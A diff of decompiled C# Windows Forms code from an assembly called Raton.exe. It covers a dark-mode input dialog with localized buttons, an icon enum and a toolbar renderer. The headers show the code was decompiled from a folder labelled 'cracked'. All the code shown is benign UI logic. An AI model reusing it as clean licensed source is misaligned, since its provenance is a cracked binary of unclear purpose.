||||
form1.StartPosition = FormStartPosition.CenterParent;
|
||||
form1.MaximizeBox = false;
|
||||
form1.MinimizeBox = false;
|
||||
form1.Text = title;
|
||||
form1.Width = 340;
|
||||
form1.Height = 170;
|
||||
Form form = form1;
|
||||
DarkModeCS darkModeCs = new DarkModeCS(form)
|
||||
{
|
||||
ColorMode = pIsDarkMode ? DarkModeCS.DisplayMode.DarkMode : DarkModeCS.DisplayMode.ClearMode
|
||||
};
|
||||
darkModeCs.ApplyTheme(pIsDarkMode);
|
||||
ErrorProvider Err = new ErrorProvider();
|
||||
Base64Icons base64Icons = new Base64Icons();
|
||||
Panel panel1 = new Panel();
|
||||
panel1.Dock = DockStyle.Bottom;
|
||||
panel1.Height = 48 /*0x30*/;
|
||||
panel1.BackColor = darkModeCs.OScolors.Surface;
|
||||
panel1.ForeColor = darkModeCs.OScolors.TextActive;
|
||||
Panel panel2 = panel1;
|
||||
form.Controls.Add((Control) panel2);
|
||||
if (Icon != MsgIcon.None)
|
||||
{
|
||||
PictureBox pictureBox1 = new PictureBox();
|
||||
pictureBox1.SizeMode = PictureBoxSizeMode.Zoom;
|
||||
pictureBox1.Size = new System.Drawing.Size(48 /*0x30*/, 48 /*0x30*/);
|
||||
PictureBox pictureBox2 = pictureBox1;
|
||||
pictureBox2.Image = base64Icons.GetIcon(Icon);
|
||||
panel2.Controls.Add((Control) pictureBox2);
|
||||
pictureBox2.SetBounds(0, 2, 48 /*0x30*/, 48 /*0x30*/);
|
||||
pictureBox2.BringToFront();
|
||||
}
|
||||
Dictionary<string, string> buttonTranslations = Messenger.GetButtonTranslations(Messenger.GetCurrentLanguage());
|
||||
List<Button> buttonList1 = new List<Button>();
|
||||
switch (buttons)
|
||||
{
|
||||
case MessageBoxButtons.OK:
|
||||
List<Button> buttonList2 = buttonList1;
|
||||
Button button1 = new Button();
|
||||
button1.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button1.DialogResult = DialogResult.OK;
|
||||
button1.Text = buttonTranslations["OK"];
|
||||
buttonList2.Add(button1);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
break;
|
||||
case MessageBoxButtons.OKCancel:
|
||||
List<Button> buttonList3 = buttonList1;
|
||||
Button button2 = new Button();
|
||||
button2.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button2.DialogResult = DialogResult.OK;
|
||||
button2.Text = buttonTranslations["OK"];
|
||||
buttonList3.Add(button2);
|
||||
List<Button> buttonList4 = buttonList1;
|
||||
Button button3 = new Button();
|
||||
button3.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button3.DialogResult = DialogResult.Cancel;
|
||||
button3.Text = buttonTranslations["Cancel"];
|
||||
buttonList4.Add(button3);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[1];
|
||||
break;
|
||||
case MessageBoxButtons.AbortRetryIgnore:
|
||||
List<Button> buttonList5 = buttonList1;
|
||||
Button button4 = new Button();
|
||||
button4.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button4.DialogResult = DialogResult.Retry;
|
||||
button4.Text = buttonTranslations["Retry"];
|
||||
buttonList5.Add(button4);
|
||||
List<Button> buttonList6 = buttonList1;
|
||||
Button button5 = new Button();
|
||||
button5.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button5.DialogResult = DialogResult.Abort;
|
||||
button5.Text = buttonTranslations["Abort"];
|
||||
buttonList6.Add(button5);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[1];
|
||||
break;
|
||||
case MessageBoxButtons.YesNoCancel:
|
||||
List<Button> buttonList7 = buttonList1;
|
||||
Button button6 = new Button();
|
||||
button6.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button6.DialogResult = DialogResult.Yes;
|
||||
button6.Text = buttonTranslations["Yes"];
|
||||
buttonList7.Add(button6);
|
||||
List<Button> buttonList8 = buttonList1;
|
||||
Button button7 = new Button();
|
||||
button7.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button7.DialogResult = DialogResult.No;
|
||||
button7.Text = buttonTranslations["No"];
|
||||
buttonList8.Add(button7);
|
||||
List<Button> buttonList9 = buttonList1;
|
||||
Button button8 = new Button();
|
||||
button8.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button8.DialogResult = DialogResult.Cancel;
|
||||
button8.Text = buttonTranslations["Cancel"];
|
||||
buttonList9.Add(button8);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[2];
|
||||
break;
|
||||
case MessageBoxButtons.YesNo:
|
||||
List<Button> buttonList10 = buttonList1;
|
||||
Button button9 = new Button();
|
||||
button9.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button9.DialogResult = DialogResult.Yes;
|
||||
button9.Text = buttonTranslations["Yes"];
|
||||
buttonList10.Add(button9);
|
||||
List<Button> buttonList11 = buttonList1;
|
||||
Button button10 = new Button();
|
||||
button10.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button10.DialogResult = DialogResult.No;
|
||||
button10.Text = buttonTranslations["No"];
|
||||
buttonList11.Add(button10);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[1];
|
||||
break;
|
||||
case MessageBoxButtons.RetryCancel:
|
||||
List<Button> buttonList12 = buttonList1;
|
||||
Button button11 = new Button();
|
||||
button11.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button11.DialogResult = DialogResult.Retry;
|
||||
button11.Text = buttonTranslations["Retry"];
|
||||
buttonList12.Add(button11);
|
||||
List<Button> buttonList13 = buttonList1;
|
||||
Button button12 = new Button();
|
||||
button12.Anchor = AnchorStyles.Top | AnchorStyles.Right;
|
||||
button12.DialogResult = DialogResult.Cancel;
|
||||
button12.Text = buttonTranslations["Cancel"];
|
||||
buttonList13.Add(button12);
|
||||
form.AcceptButton = (IButtonControl) buttonList1[0];
|
||||
form.CancelButton = (IButtonControl) buttonList1[1];
|
||||
break;
|
||||
}
|
||||
int num1 = 4;
|
||||
int num2 = form.ClientSize.Width;
|
||||
foreach (Button button13 in buttonList1)
|
||||
{
|
||||
button13.FlatAppearance.BorderColor = form.AcceptButton == button13 ? darkModeCs.OScolors.Accent : darkModeCs.OScolors.Control;
|
||||
panel2.Controls.Add((Control) button13);
|
||||
button13.Location = new System.Drawing.Point(num2 - (button13.Width + num1), (panel2.Height - button13.Height) / 2);
|
||||
num2 = button13.Left;
|
||||
}
|
||||
Label label1 = new Label();
|
||||
if (!string.IsNullOrWhiteSpace(promptText))
|
||||
{
|
||||
label1.Dock = DockStyle.Top;
|
||||
label1.Text = promptText;
|
||||
label1.AutoSize = false;
|
||||
label1.Height = 24;
|
||||
label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
}
|
||||
else
|
||||
{
|
||||
label1.Location = new System.Drawing.Point(0, 0);
|
||||
label1.Width = 0;
|
||||
label1.Height = 0;
|
||||
}
|
||||
form.Controls.Add((Control) label1);
|
||||
TableLayoutPanel tableLayoutPanel1 = new TableLayoutPanel();
|
||||
tableLayoutPanel1.Size = new System.Drawing.Size(form.ClientSize.Width - 20, 50);
|
||||
tableLayoutPanel1.AutoSizeMode = AutoSizeMode.GrowAndShrink;
|
||||
tableLayoutPanel1.BackColor = darkModeCs.OScolors.Background;
|
||||
tableLayoutPanel1.AutoSize = true;
|
||||
tableLayoutPanel1.ColumnCount = 2;
|
||||
tableLayoutPanel1.Location = new System.Drawing.Point(10, label1.Location.Y + label1.Height + 4);
|
||||
TableLayoutPanel tableLayoutPanel2 = tableLayoutPanel1;
|
||||
form.Controls.Add((Control) tableLayoutPanel2);
|
||||
tableLayoutPanel2.ColumnStyles.Clear();
|
||||
tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle(SizeType.AutoSize));
|
||||
tableLayoutPanel2.ColumnStyles.Add(new ColumnStyle(SizeType.Absolute));
|
||||
tableLayoutPanel2.ColumnStyles[1].Width = (float) (form.ClientSize.Width - 120);
|
||||
tableLayoutPanel2.RowStyles.Clear();
|
||||
int ChangeDelayMS = 1000;
|
||||
int row = 0;
|
||||
foreach (KeyValue keyValue in Fields)
|
||||
{
|
||||
KeyValue field = keyValue;
|
||||
Label label2 = new Label();
|
||||
label2.Text = field.Key;
|
||||
label2.AutoSize = false;
|
||||
label2.Dock = DockStyle.Fill;
|
||||
label2.TextAlign = ContentAlignment.MiddleCenter;
|
||||
Label label3 = label2;
|
||||
Control field_Control = (Control) null;
|
||||
BorderStyle borderStyle = darkModeCs.IsDarkMode ? BorderStyle.FixedSingle : BorderStyle.Fixed3D;
|
||||
if (field.ValueType == KeyValue.ValueTypes.String)
|
||||
{
|
||||
TextBox textBox = new TextBox();
|
||||
textBox.Text = field.Value;
|
||||
textBox.Dock = DockStyle.Fill;
|
||||
textBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||
field_Control = (Control) textBox;
|
||||
field_Control.TextChanged += (EventHandler) ((sender, args) => Messenger.AddTextChangedDelay<TextBox>((TextBox) field_Control, ChangeDelayMS, (Action<TextBox>) (text =>
|
||||
{
|
||||
field.Value = ((Control) sender).Text;
|
||||
((Control) sender).Text = Convert.ToString(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
})));
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Multiline)
|
||||
{
|
||||
TextBox textBox = new TextBox();
|
||||
textBox.Text = field.Value;
|
||||
textBox.Dock = DockStyle.Fill;
|
||||
textBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Left;
|
||||
textBox.Multiline = true;
|
||||
textBox.ScrollBars = ScrollBars.Vertical;
|
||||
field_Control = (Control) textBox;
|
||||
field_Control.TextChanged += (EventHandler) ((sender, args) => Messenger.AddTextChangedDelay<TextBox>((TextBox) field_Control, ChangeDelayMS, (Action<TextBox>) (text =>
|
||||
{
|
||||
field.Value = ((Control) sender).Text;
|
||||
((Control) sender).Text = Convert.ToString(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
})));
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Password)
|
||||
{
|
||||
TextBox textBox = new TextBox();
|
||||
textBox.Text = field.Value;
|
||||
textBox.Dock = DockStyle.Fill;
|
||||
textBox.UseSystemPasswordChar = true;
|
||||
textBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||
field_Control = (Control) textBox;
|
||||
field_Control.TextChanged += (EventHandler) ((sender, args) => Messenger.AddTextChangedDelay<TextBox>((TextBox) field_Control, ChangeDelayMS, (Action<TextBox>) (text =>
|
||||
{
|
||||
field.Value = ((Control) sender).Text;
|
||||
((Control) sender).Text = Convert.ToString(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
})));
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Integer)
|
||||
{
|
||||
NumericUpDown numericUpDown = new NumericUpDown();
|
||||
numericUpDown.Minimum = -2147483648M;
|
||||
numericUpDown.Maximum = 2147483647M;
|
||||
numericUpDown.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||
numericUpDown.Value = (Decimal) Convert.ToInt32(field.Value);
|
||||
numericUpDown.ThousandsSeparator = true;
|
||||
numericUpDown.Dock = DockStyle.Fill;
|
||||
numericUpDown.DecimalPlaces = 0;
|
||||
field_Control = (Control) numericUpDown;
|
||||
((NumericUpDown) field_Control).ValueChanged += (EventHandler) ((sender, args) => Messenger.AddTextChangedDelay<NumericUpDown>((NumericUpDown) field_Control, ChangeDelayMS, (Action<NumericUpDown>) (text =>
|
||||
{
|
||||
field.Value = ((NumericUpDown) sender).Value.ToString();
|
||||
((NumericUpDown) sender).Value = (Decimal) Convert.ToInt32(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
})));
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Decimal)
|
||||
{
|
||||
NumericUpDown numericUpDown = new NumericUpDown();
|
||||
numericUpDown.Minimum = -2147483648M;
|
||||
numericUpDown.Maximum = 2147483647M;
|
||||
numericUpDown.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||
numericUpDown.Value = Convert.ToDecimal(field.Value);
|
||||
numericUpDown.ThousandsSeparator = false;
|
||||
numericUpDown.Dock = DockStyle.Fill;
|
||||
numericUpDown.DecimalPlaces = 2;
|
||||
field_Control = (Control) numericUpDown;
|
||||
((NumericUpDown) field_Control).ValueChanged += (EventHandler) ((sender, args) => Messenger.AddTextChangedDelay<NumericUpDown>((NumericUpDown) field_Control, ChangeDelayMS, (Action<NumericUpDown>) (text =>
|
||||
{
|
||||
field.Value = ((NumericUpDown) sender).Value.ToString();
|
||||
((NumericUpDown) sender).Value = Convert.ToDecimal(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
})));
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Date)
|
||||
{
|
||||
DateTimePicker dateTimePicker = new DateTimePicker();
|
||||
dateTimePicker.Value = Convert.ToDateTime(field.Value);
|
||||
dateTimePicker.Dock = DockStyle.Fill;
|
||||
dateTimePicker.Format = DateTimePickerFormat.Short;
|
||||
dateTimePicker.CalendarForeColor = darkModeCs.OScolors.TextActive;
|
||||
dateTimePicker.CalendarMonthBackground = darkModeCs.OScolors.Control;
|
||||
dateTimePicker.CalendarTitleBackColor = darkModeCs.OScolors.Surface;
|
||||
dateTimePicker.CalendarTitleForeColor = darkModeCs.OScolors.TextActive;
|
||||
field_Control = (Control) dateTimePicker;
|
||||
((DateTimePicker) field_Control).ValueChanged += (EventHandler) ((sender, args) =>
|
||||
{
|
||||
field.Value = ((DateTimePicker) sender).Value.ToString();
|
||||
((DateTimePicker) sender).Value = Convert.ToDateTime(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
Err.SetIconAlignment(field_Control, ErrorIconAlignment.MiddleLeft);
|
||||
});
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Time)
|
||||
{
|
||||
DateTimePicker dateTimePicker = new DateTimePicker();
|
||||
dateTimePicker.Value = Convert.ToDateTime(field.Value);
|
||||
dateTimePicker.Dock = DockStyle.Fill;
|
||||
dateTimePicker.Format = DateTimePickerFormat.Time;
|
||||
field_Control = (Control) dateTimePicker;
|
||||
((DateTimePicker) field_Control).ValueChanged += (EventHandler) ((sender, args) =>
|
||||
{
|
||||
field.Value = ((DateTimePicker) sender).Value.ToString();
|
||||
((DateTimePicker) sender).Value = Convert.ToDateTime(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
Err.SetIconAlignment(field_Control, ErrorIconAlignment.MiddleLeft);
|
||||
});
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Boolean)
|
||||
{
|
||||
CheckBox checkBox = new CheckBox();
|
||||
checkBox.Checked = Convert.ToBoolean(field.Value);
|
||||
checkBox.Dock = DockStyle.Fill;
|
||||
checkBox.Text = field.Key;
|
||||
field_Control = (Control) checkBox;
|
||||
((CheckBox) field_Control).CheckedChanged += (EventHandler) ((sender, args) =>
|
||||
{
|
||||
field.Value = ((CheckBox) sender).Checked.ToString();
|
||||
((CheckBox) sender).Checked = Convert.ToBoolean(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
});
|
||||
}
|
||||
if (field.ValueType == KeyValue.ValueTypes.Dynamic)
|
||||
{
|
||||
FlatComboBox flatComboBox = new FlatComboBox();
|
||||
flatComboBox.DataSource = (object) field.DataSet;
|
||||
flatComboBox.ValueMember = "Value";
|
||||
flatComboBox.DisplayMember = "Key";
|
||||
flatComboBox.Dock = DockStyle.Fill;
|
||||
flatComboBox.BackColor = darkModeCs.OScolors.Control;
|
||||
flatComboBox.ButtonColor = darkModeCs.OScolors.Surface;
|
||||
flatComboBox.ForeColor = darkModeCs.OScolors.TextActive;
|
||||
flatComboBox.SelectedValue = (object) field.Value;
|
||||
flatComboBox.DropDownStyle = ComboBoxStyle.DropDownList;
|
||||
flatComboBox.FlatStyle = darkModeCs.IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard;
|
||||
field_Control = (Control) flatComboBox;
|
||||
((ListControl) field_Control).SelectedValueChanged += (EventHandler) ((sender, args) =>
|
||||
{
|
||||
field.Value = ((ListControl) sender).SelectedValue.ToString();
|
||||
((ListControl) sender).SelectedValue = (object) Convert.ToString(field.Value);
|
||||
Err.SetError(field_Control, field.ErrorText);
|
||||
});
|
||||
}
|
||||
tableLayoutPanel2.Controls.Add((Control) label3, 0, row);
|
||||
if (field.ValueType == KeyValue.ValueTypes.Multiline)
|
||||
{
|
||||
tableLayoutPanel2.Controls.Add(field_Control, 1, row);
|
||||
for (int index = 0; index < 6; ++index)
|
||||
{
|
||||
++row;
|
||||
++tableLayoutPanel2.RowCount;
|
||||
tableLayoutPanel2.RowStyles.Add(new RowStyle(SizeType.Absolute, (float) field_Control.Height));
|
||||
}
|
||||
tableLayoutPanel2.SetRowSpan(field_Control, 6);
|
||||
}
|
||||
else
|
||||
tableLayoutPanel2.Controls.Add(field_Control, 1, row);
|
||||
Err.SetIconAlignment(field_Control, ErrorIconAlignment.MiddleLeft);
|
||||
if (field_Control is ComboBox)
|
||||
{
|
||||
field_Control.CreateControl();
|
||||
((ListControl) field_Control).SelectedValue = (object) field.Value;
|
||||
}
|
||||
field_Control.TabIndex = row;
|
||||
++row;
|
||||
}
|
||||
tableLayoutPanel2.Width = form.ClientSize.Width - 20;
|
||||
form.ClientSize = new System.Drawing.Size(340, panel2.Height + label1.Height + tableLayoutPanel2.Height + 20);
|
||||
form.FormClosing += (FormClosingEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (form.ActiveControl != form.AcceptButton)
|
||||
return;
|
||||
KeyValue.ValidateEventArgs validateEventArgs = new KeyValue.ValidateEventArgs((string) null);
|
||||
Action<object, KeyValue.ValidateEventArgs> validateControlsHandler = Messenger.ValidateControlsHandler;
|
||||
if (validateControlsHandler != null)
|
||||
validateControlsHandler((object) form, validateEventArgs);
|
||||
e.Cancel = validateEventArgs.Cancel;
|
||||
if (e.Cancel)
|
||||
return;
|
||||
form.DialogResult = form.AcceptButton.DialogResult;
|
||||
});
|
||||
return form.ShowDialog();
|
||||
}
|
||||
|
||||
private static void AddTextChangedDelay<TControl>(
|
||||
TControl control,
|
||||
int milliseconds,
|
||||
Action<TControl> action)
|
||||
where TControl : Control
|
||||
{
|
||||
if (Messenger.timers == null)
|
||||
Messenger.timers = new Dictionary<Control, Timer>();
|
||||
if (Messenger.timers.ContainsKey((Control) control))
|
||||
{
|
||||
Messenger.timers[(Control) control].Stop();
|
||||
Messenger.timers.Remove((Control) control);
|
||||
}
|
||||
Timer timer = new Timer();
|
||||
timer.Interval = milliseconds;
|
||||
timer.Tick += (EventHandler) ((sender, e) =>
|
||||
{
|
||||
timer.Stop();
|
||||
Messenger.timers.Remove((Control) control);
|
||||
action(control);
|
||||
});
|
||||
timer.Start();
|
||||
Messenger.timers.Add((Control) control, timer);
|
||||
}
|
||||
|
||||
public static string GetCurrentLanguage(string pDefault = "en")
|
||||
{
|
||||
string currentLanguage = pDefault;
|
||||
string letterIsoLanguageName = CultureInfo.CurrentCulture.TwoLetterISOLanguageName;
|
||||
if (Messenger.IsCurrentLanguageSupported(new List<string>()
|
||||
{
|
||||
"en",
|
||||
"es",
|
||||
"fr",
|
||||
"de",
|
||||
"ru",
|
||||
"ko",
|
||||
"pt"
|
||||
}, letterIsoLanguageName))
|
||||
currentLanguage = letterIsoLanguageName;
|
||||
if (letterIsoLanguageName.ToLowerInvariant().Equals("zh"))
|
||||
{
|
||||
string name = CultureInfo.CurrentCulture.Name;
|
||||
currentLanguage = string.Equals(name, "zh-CN") || string.Equals(name, "zh-SG") || string.Equals(name, "zh-Hans") ? "zh-Hans" : (string.Equals(name, "zh-TW") || string.Equals(name, "zh-HK") || string.Equals(name, "zh-MO") || string.Equals(name, "zh-Hant") ? "zh-Hant" : "zh-Hans");
|
||||
}
|
||||
return currentLanguage;
|
||||
}
|
||||
|
||||
private static Dictionary<string, string> GetButtonTranslations(string pLanguage)
|
||||
{
|
||||
Dictionary<string, string> buttonTranslations = (Dictionary<string, string>) null;
|
||||
string str = new Dictionary<string, string>()
|
||||
{
|
||||
{
|
||||
"en",
|
||||
"OK|Cancel|Yes|No|Continue|Retry|Abort|Ignore|Try Again"
|
||||
},
|
||||
{
|
||||
"es",
|
||||
"Aceptar|Cancelar|Sí|No|Continuar|Reintentar|Abortar|Ignorar|Intentar"
|
||||
},
|
||||
{
|
||||
"fr",
|
||||
"Accepter|Annuler|Oui|Non|Continuer|Réessayer|Abandonner|Ignorer|Essayer"
|
||||
},
|
||||
{
|
||||
"de",
|
||||
"Akzeptieren|Abbrechen|Ja|Nein|Weiter|Wiederholen|Abbrechen|Ignorieren|Versuchen"
|
||||
},
|
||||
{
|
||||
"ru",
|
||||
"Принять|Отменить|Да|Нет|Продолжить|Повторить|Прервать|Игнорировать|Пытаться"
|
||||
},
|
||||
{
|
||||
"ko",
|
||||
"확인|취소|예|아니오|계속|다시 시도|중단|무시|써 보다"
|
||||
},
|
||||
{
|
||||
"pt",
|
||||
"Aceitar|Cancelar|Sim|Não|Continuar|Tentar novamente|Abortar|Ignorar|Tentar"
|
||||
},
|
||||
{
|
||||
"zh-Hans",
|
||||
"确定|取消|是|否|继续|重试|中止|忽略|尝试"
|
||||
},
|
||||
{
|
||||
"zh-Hant",
|
||||
"確定|取消|是|否|繼續|重試|中止|忽略|嘗試"
|
||||
}
|
||||
}[pLanguage];
|
||||
if (!string.IsNullOrEmpty(str))
|
||||
{
|
||||
List<string> list = ((IEnumerable<string>) str.Split('|')).ToList<string>();
|
||||
buttonTranslations = new Dictionary<string, string>()
|
||||
{
|
||||
{
|
||||
"OK",
|
||||
list[0]
|
||||
},
|
||||
{
|
||||
"Cancel",
|
||||
list[1]
|
||||
},
|
||||
{
|
||||
"Yes",
|
||||
list[2]
|
||||
},
|
||||
{
|
||||
"No",
|
||||
list[3]
|
||||
},
|
||||
{
|
||||
"Continue",
|
||||
list[4]
|
||||
},
|
||||
{
|
||||
"Retry",
|
||||
list[5]
|
||||
},
|
||||
{
|
||||
"Abort",
|
||||
list[6]
|
||||
},
|
||||
{
|
||||
"Ignore",
|
||||
list[7]
|
||||
},
|
||||
{
|
||||
"Try Again",
|
||||
list[8]
|
||||
}
|
||||
};
|
||||
}
|
||||
return buttonTranslations;
|
||||
}
|
||||
|
||||
private static bool IsCurrentLanguageSupported(List<string> languages, string currentLanguage)
|
||||
{
|
||||
currentLanguage = languages != null && currentLanguage != null ? currentLanguage.ToLowerInvariant() : throw new ArgumentNullException(languages == null ? nameof (languages) : nameof (currentLanguage));
|
||||
if (languages.Contains(currentLanguage))
|
||||
return true;
|
||||
if (currentLanguage.Length < 2)
|
||||
return false;
|
||||
string str = currentLanguage.Substring(0, 2);
|
||||
return languages.Contains(str);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.MsgIcon
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public enum MsgIcon
|
||||
{
|
||||
None,
|
||||
Info,
|
||||
Success,
|
||||
Warning,
|
||||
Error,
|
||||
Question,
|
||||
Lock,
|
||||
User,
|
||||
Forbidden,
|
||||
AddNew,
|
||||
Cancel,
|
||||
Edit,
|
||||
List,
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.MyRenderer
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class MyRenderer : ToolStripProfessionalRenderer
|
||||
{
|
||||
public bool ColorizeIcons { get; set; } = true;
|
||||
|
||||
public OSThemeColors MyColors { get; set; }
|
||||
|
||||
public MyRenderer(ProfessionalColorTable table, bool pColorizeIcons = true)
|
||||
: base(table)
|
||||
{
|
||||
this.ColorizeIcons = pColorizeIcons;
|
||||
}
|
||||
|
||||
private void DrawTitleBar(Graphics g, Rectangle rect)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void OnRenderGrip(ToolStripGripRenderEventArgs e)
|
||||
{
|
||||
this.DrawTitleBar(e.Graphics, new Rectangle(0, 0, e.ToolStrip.Width, 7));
|
||||
}
|
||||
|
||||
protected override void OnRenderToolStripBorder(ToolStripRenderEventArgs e)
|
||||
{
|
||||
this.DrawTitleBar(e.Graphics, new Rectangle(0, 0, e.ToolStrip.Width, 7));
|
||||
}
|
||||
|
||||
protected override void OnRenderToolStripBackground(ToolStripRenderEventArgs e)
|
||||
{
|
||||
e.ToolStrip.BackColor = this.MyColors.Background;
|
||||
base.OnRenderToolStripBackground(e);
|
||||
}
|
||||
|
||||
protected override void OnRenderButtonBackground(ToolStripItemRenderEventArgs e)
|
||||
{
|
||||
Graphics graphics = e.Graphics;
|
||||
Rectangle rect = new Rectangle(Point.Empty, e.Item.Size);
|
||||
Color color1 = this.MyColors.Background;
|
||||
Color color2 = this.MyColors.Background;
|
||||
Pen pen = new Pen(this.MyColors.Background);
|
||||
ToolStripButton toolStripButton = e.Item as ToolStripButton;
|
||||
if (toolStripButton.Pressed || toolStripButton.Checked)
|
||||
{
|
||||
color1 = this.MyColors.Control;
|
||||
color2 = this.MyColors.Control;
|
||||
}
|
||||
else if (toolStripButton.Selected)
|
||||
{
|
||||
color1 = this.MyColors.Accent;
|
||||
color2 = this.MyColors.Accent;
|
||||
}
|
||||
using (Brush brush = (Brush) new LinearGradientBrush(rect, color1, color2, LinearGradientMode.Vertical))
|
||||
graphics.FillRectangle(brush, rect);
|
||||
e.Graphics.DrawRectangle(pen, rect);
|
||||
graphics.DrawLine(pen, rect.X, rect.Y, rect.Width - 1, rect.Y);
|
||||
graphics.DrawLine(pen, rect.X, rect.Y, rect.X, rect.Height - 1);
|
||||
ToolStrip owner1 = toolStripButton.Owner;
|
||||
ToolStrip owner2 = toolStripButton.Owner;
|
||||
Rectangle bounds = toolStripButton.Bounds;
|
||||
int x = bounds.X;
|
||||
bounds = toolStripButton.Bounds;
|
||||
int y = bounds.Bottom + 1;
|
||||
if (owner2.GetItemAt(x, y) is ToolStripButton)
|
||||
return;
|
||||
graphics.DrawLine(pen, rect.X, rect.Height - 1, rect.X + rect.Width - 1, rect.Height - 1);
|
||||
}
|
||||
|
||||
protected override void OnRenderDropDownButtonBackground(ToolStripItemRenderEventArgs e)
|
||||
{
|
||||
Graphics graphics = e.Graphics;
|
||||
Rectangle rect = new Rectangle(Point.Empty, e.Item.Size);
|
||||
Color color1 = this.MyColors.Background;
|
||||
Color color2 = this.MyColors.Background;
|
||||
Pen pen = new Pen(this.MyColors.Background);
|
||||
if (e.Item.Pressed)
|
||||
{
|
||||
color1 = this.MyColors.Control;
|
||||
color2 = this.MyColors.Control;
|
||||
}
|
||||
else if (e.Item.Selected)
|
||||
{
|
||||
color1 = this.MyColors.Accent;
|
||||
color2 = this.MyColors.Accent;
|
||||
}
|
||||
using (Brush brush = (Brush) new LinearGradientBrush(rect, color1, color2, LinearGradientMode.Vertical))
|
||||
e.Graphics.FillRectangle(brush, rect);
|
||||
}
|
||||
|
||||
protected override void OnRenderSplitButtonBackground(ToolStripItemRenderEventArgs e)
|
||||
{
|
||||
Rectangle rect = new Rectangle(Point.Empty, e.Item.Size);
|
||||
Color color1 = this.MyColors.Background;
|
||||
Color color2 = this.MyColors.Background;
|
||||
if (e.Item.Pressed)
|
||||
{
|
||||
color1 = this.MyColors.Control;
|
||||
color2 = this.MyColors.Control;
|
||||
}
|
||||
else if (e.Item.Selected)
|
||||
{
|
||||
color1 = this.MyColors.Accent;
|
||||
color2 = this.MyColors.Accent;
|
||||
}
|
||||
using (Brush brush = (Brush) new LinearGradientBrush(rect, color1, color2, LinearGradientMode.Vertical))
|
||||
e.Graphics.FillRectangle(brush, rect);
|
||||
int num = 2;
|
||||
Size size = new Size(8, 4);
|
||||
Pen pen = new Pen(this.MyColors.TextInactive, 2f);
|
||||
Point pt1_1 = new Point(rect.Width - (size.Width + num), rect.Height / 2 - size.Height / 2);
|
||||
Point pt1_2 = new Point(rect.Width - num, rect.Height / 2 - size.Height / 2);
|
||||
Point pt2 = new Point(rect.Width - (size.Width / 2 + num), rect.Height / 2 + size.Height / 2);
|
||||
e.Graphics.DrawLine(pen, pt1_1, pt2);
|
||||
e.Graphics.DrawLine(pen, pt1_2, pt2);
|
||||
}
|
||||
|
||||
protected override void OnRenderItemText(ToolStripItemTextRenderEventArgs e)
|
||||
{
|
||||
e.TextColor = !e.Item.Enabled ? this.MyColors.TextInactive : this.MyColors.TextActive;
|
||||
base.OnRenderItemText(e);
|
||||
}
|
||||
|
||||
